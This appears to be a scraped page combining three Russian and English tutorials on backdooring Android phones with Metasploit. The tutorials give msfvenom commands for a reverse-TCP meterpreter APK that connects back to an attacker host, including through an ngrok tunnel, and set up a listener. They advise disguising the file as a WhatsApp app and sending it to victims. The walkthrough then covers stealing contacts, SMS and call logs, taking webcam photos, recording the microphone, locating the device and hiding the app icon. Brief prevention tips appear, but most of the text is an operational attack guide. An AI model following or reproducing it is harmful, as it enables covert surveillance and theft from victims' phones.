Взлом андроид с помощью metasploit

Взламываем Android-смартфон с помощью Metasploit

В наше время смартфоны уже давно перестали быть редкостью или роскошью, и конечно они стали лакомой целью для злоумышленников, т.к. в них сейчас храниться масса личной информации. Думаю и нам настало время испытать безопасность одного из популярных смартфонов под управлением Android.

Исходная информация:

IP адрес атакующего: 192.168.8.94

Порт атакующего: 443

Что понадобиться:

  1. Metasploit framework (есть в Kali Linux)

2. Android-смартфон (на нашем столе HTC One с Android 4.4 KitKat)

Приступим к созданию эксплоита

2. Создаем apk-пакет с данными, следующей командой:

msfpayload android/meterpreter/reverse_tcp LHOST=192.168.8.94 LPORT=443 R > hack.apk

Т.к. мы будем делать эксплоит с обратным подключением, т.е. смартфон жертвы должен будет соединиться с компьютером атакующего, нам надо создать слушатель на указанном порту, для этого выполняем следующие команды:

(Команда exploit запускает прослушку входящих соединений на порту 443)

Далее нам надо каким-либо образом заставить жертву запустить hack.apk сделанный нами ранее.

После того как жертва запустит этот файл на экране появится что-то похожее на:

Это говорит о том, что смартфон соединился с нашим компьютером и теперь мы можем им управлять из нашей консоли, вот пример:

Итог

  1. Никогда не устанавливайте apk-пакеты из неизвестных источников

2. Если уж вы задумали установить, что-то подозрительное, то вы всегда можете вскрыть apk файл в текстовом редакторе и изучить его исходный код.

Источник

Hack Android using Metasploit over LAN/WAN

In this article, we’ll be discuss about the exploitation of Android devices such as Tablets/Phones/Emulators etc using one of the most popular exploitation framework called as Metasploit Framework and MSFvenom. Here, we will use MSFvenom for generating payload and save as an .apk file and setup listener to Metasploit framework using multi handler. Once user/victim download and install the malicious apk then, an attacker can easily get back session on Metasploit.

We’re going to be use the latest version of Kali Linux i.e. Kali Linux 2017.1 which you can easily download it form their official website. Kali Linux is one of the Debian-based operating systems with several tools aimed at various information security tasks, such as Penetration Testing, Forensics, and Reverse Engineering.

In Kali Linux, Metasploit Framework is already installed, with the help of this tool, you can even hack any Windows/Linux Operating System too, it has inbuilt so many payloads and exploits which you can also update by following command i.e. “msfupdate”. The process to exploit android is very simple and easy to use.

Requirements –

  1. Kali Linux 2017.1
  2. USB WLAN (Wireless Adapter)
  3. VMware or Virtual Box
  4. An Open Port

Before to start the exploitation of android, you need to connect your Kali Linux with Wireless Network which you are using. After successful connection with your wireless network, note down the IP of wlan0 interface by typing this command:

Command: ifconfig wlan0

To find IP over Internet, you can use this ad-free IP-Look tool.

Now in first step, you need to create a android backdoor so called as payload in the form of .apk extension. For creation of this payload, you can use msfvenom by typing this command:

Command: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=444 R > whatsapp_recorder_2017.apk

Here, android/meterpreter/reverse_tcp is the name of the payload we’re going to be use.
LHOST is the IP address to which the client is going to connect (your IP address). In this case, our IP address is “192.168.1.3”.

Читайте также:  Датчик давления шин android

MSFvenom is the combination of msfpayload and msfencode. Both tools are so extremely useful for generating payloads in various formats and encoding their payloads using various encode modules like shikata encoder etc.

Note: In this command, we have used the local address because we are in the local environment. For exploitation over WAN or public network, you have to enter your public IP address in LHOST.

To find your public IP, you need to type this command:

Command: dig TXT +short o-o.myaddr.l.google.com @ns1.google.com

You also need to enable the port forwarding on your router for it to work over the internet. You can also check your public IP by opening this link.

Once your backdoor file is created with msfvenom, you just need to transfer this file to the android device which you want to hack, here you can apply any social engineering method to send your custom built .apk application over any media like Whatsapp/Facebook etc. Make sure that your application file name pretends to be legitimate.

After Successfully created .apk file, we also need to sign certificate because Android mobile devices are not allowing installing apps without the appropriately signed certificate. Android devices only install the signed .apk files. For signing the apk file, you can use jar signer, keytool and zipalign that we’ll cover in next article.

Once the payload has been successfully transferred to the target device, we need to start listening on the specified address and port to exploit the device. For this case, we use Metasploit Framework.

To start the metasploit framework, just type “msfconsole” in your terminal.

Now we want to use a payload handler for handling our reverse TCP connection by typing this command “use multi/handler“.

You should now have a prompt which says msf exploit(handler) >. Now set the payload for android by typing these commands:

set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.1.3
set LPORT 443

To verify all the things, please type “show options“. Now to start the handler, type “run” or “exploit” in same terminal.

As soon as the device executes the payload (opens the app), your Meterpreter terminal should say “Meterpreter session one opened” or something of that sort. This means you have successfully gained access to the device.

Читайте также:  Как закачать файл для андроида

Bingo. We got the Meterpreter session of Android device, and we can check more details with “sysinfo” command as mentioned in the below screenshot.

To check all running processes, type “ps -ax”.

If you want to check whether the android device is rooted or not, simply type “check_root“.

You can dump all contacts/call logs/sms by typing “dump_contacts” for dumping the contacts, “dump_sms” for dumping all messages and “dump_calllog” for dumping all call logs.

You can even send the sms to anyone by just typing this command send_sms -d +1234567890 -t “Your Phone Has been Hacked“.

Here -d stands for destination number and -t stands for SMS body text and here’s the message which we received successfully.

After that you can even download/upload any file by typing this command “upload/download

The default sdcard location will be /root/sdcard from where you can download any stuff from exploited android device.

To know about more commands of meterpreter, just type run and press tab twice.

This command is to locate the longitude and latitude values of targeted android device.

There are lots of commands available in meterpreter by using ? help command to see more options what we can perform with an Android device. We have successfully penetrated the Android device using Kali Linux and penetration testing tools.

Prevention –

  1. Don’t allow downloading any apps from cloud websites or fake websites.
  2. Don’t install apps with unknown resources enabled option.
  3. Use antivirus in a mobile device to keep an eye on every moment of mobile like Cmsecurity, M-Kavach etc.
  4. Don’t click any random link while surfing the internet.
  5. Never download unwanted src, doc, pdf, apk file from unknown source.
  6. Always confirm with source pertaining to file to double sure. To verify the app, you can use Apkpure.com.

FAQ – Frequently Asked Questions

1) How to Hack Android over WAN

It’s really easy and almost the same. The only difference is that you need to change two things i.e. LHOST and LPORT.

For LHOST, you can use whatismyip.com for your public IP.
For LPORT, you need to port forward in your modem/router.

2) Apk File made from msfvenom is 0 kb

That means you have some spelling or syntax error, kindly recheck all command which you typed.

3) In Phone – Cannot Parse Package

Try Another File Manager, Download a free one from google store!! ES File Explorer File Manager is one the best File Manager ever.

4) In Phone – App Not Installed

You May Need to Sign Your APK file, newer android versions may give error. You can use jarsign package to sign your apk application.

5) NAT or Bridge Mode

Don’t use NAT mode, always use Bridge mode while interacting with outside the network.

Читайте также:  Будильник андроид как работает

Источник

Твой смартфон угнан [Metasploit,termux, android hack]

Шалом,сейчас ты узнаешь как хацкеры могут взломать твой смартфон. Вся информация предоставлена исключительно в ознакомительных целях.

Итак термины:

Metasploit — это как мы и говорили в прошлой статье , платформа для использования и создания эксплойтов и payload.

Payload — это то , что выполняется после эксплойта.

Meterpreter — это грубо говоря и есть payload.

Установка и подготовка

В этом пункте мы установим нужные нам утилиты , а так-же создадим payload,команды вводим поочередно.

Перед тем , как мы приступим к созданию payload и основной работы , нам необходимо установить ngrok и metasploit следующими командами:

А теперь, отвечу на вопрос зачем тут нужен ngrok? Ngrok нам нужен, чтобы мы могли иметь доступ к жертве на расстоянии, то бишь вне локальной сети. Если у вас белый ip адрес , то вам ngrok не нужен.

Установка NGROK:

1. Заходим на сайт ngrok.com и регистрируемся.

2.Переходим в вкладку Download.

3.Скачиваем файл для linux исходя из вашей архитектуры процессора (я качал для arm64)

4.Распаковываем архив в директории storage, простым проводником.

5.В термукс вводим следующее:

Далее вам необходимо ввести команду:

./ngrok authtoken и ваш токен(Его вы можете скопировать на главной странице, но только для авторизованных!)

Для начала, нам нужно создать payload — то бишь apk-файл(можно взять уже готовый и встроить туда то что нужно) , который должна будет установить жертва , делается это все в одну команду:

msfvenom -p android/meterpreter/reverse_tcp LHOST=ваш ip LPORT=порт R > test.apk

Вам нужно лишь ввести значения lhost и lport , где их взять?

Для тех у кого белый ip:

Командой ifconfig вы можете просмотреть свой ip , и вводите порт 4444.

msfvenom -p android/meterpreter/reverse_tcp LHOST=13.200.45.233 LPORT=4444 R > test.apk

Для тех у кого не белый ip:

1.Открываем новую сессию , и вводим команду:

После этого у вас должно запуститься что-то , тип такого:

Значения lhost и lport прописаны в строке Forwarding «IP : PORT»:

Теперь переходим во вторую сессию и вводим нашу команду:

msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=12764 R > /sdcard/test.apk

Теперь вам остается заставить жертву установить и открыть вирус , и дело в шляпе)

Подключение

В этом пункте мы подключимся к жертве и разберемся с некоторыми командами

После создания нашего payload , мы делаем следующее :

Попытаюсь чуток объяснить, мы первой командой запускаем сам метасплоит, второй и третьей мы выбираем payload , четвертой и пятой мы пишем значения который , мы вписали в наш payload , то бишь тот кто работал с ngrok пишет localhost:4444.

После всех этих действий начнется слушание, и когда жертва откроет вирус, то откроется сессия meterpreter:

Делаем фотографию на камеру жертвы webcam_snap

Запись микрофона record_mic

Наверное одна из полезных и начальных команд это — hide_app_icon , эта команда скрывает ярлык вируса с рабочего стола, обычно ее выполняют сразу же после открытия сессии meterpreter.

Остальные же команды вы можете посмотреть командой help . Ну вот мы теперь имеем доступ к жертве, теперь можно делать то на что фантазии хватит.

Информацией поделился ileadan.

Источник

Оцените статью